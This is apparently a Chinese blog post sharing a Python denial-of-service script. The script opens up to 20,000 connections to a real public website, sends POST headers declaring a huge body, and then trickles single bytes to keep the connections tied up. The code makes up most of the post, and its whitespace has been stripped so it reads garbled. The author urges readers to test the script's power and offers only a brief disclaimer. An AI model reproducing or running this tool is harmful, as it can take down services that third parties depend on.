python版DDOS攻击脚本
本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下
于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。
附上源码pyDdos.py:
#!/usr/bin/envpython importsocket importtime importthreading #PressureTest,ddostool #--------------------------- MAX_CONN=20000 PORT=80 HOST="www.baidu.com" PAGE="/index.php" #--------------------------- buf=("POST%sHTTP/1.1\r\n" "Host:%s\r\n" "Content-Length:10000000\r\n" "Cookie:dklkt_dos_test\r\n" "\r\n"%(PAGE,HOST)) socks=[] defconn_thread(): globalsocks foriinrange(0,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf) print"SendbufOK!,conn=%d\n"%i socks.append(s) exceptException,ex: print"Couldnotconnecttoserverorsenderror:%s"%ex time.sleep(10) #enddef defsend_thread(): globalsocks whileTrue: forsinsocks: try: s.send("f") #print"sendOK!" exceptException,ex: print"SendException:%s\n"%ex socks.remove(s) s.close() time.sleep(1) #enddef conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start()
OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持毛票票。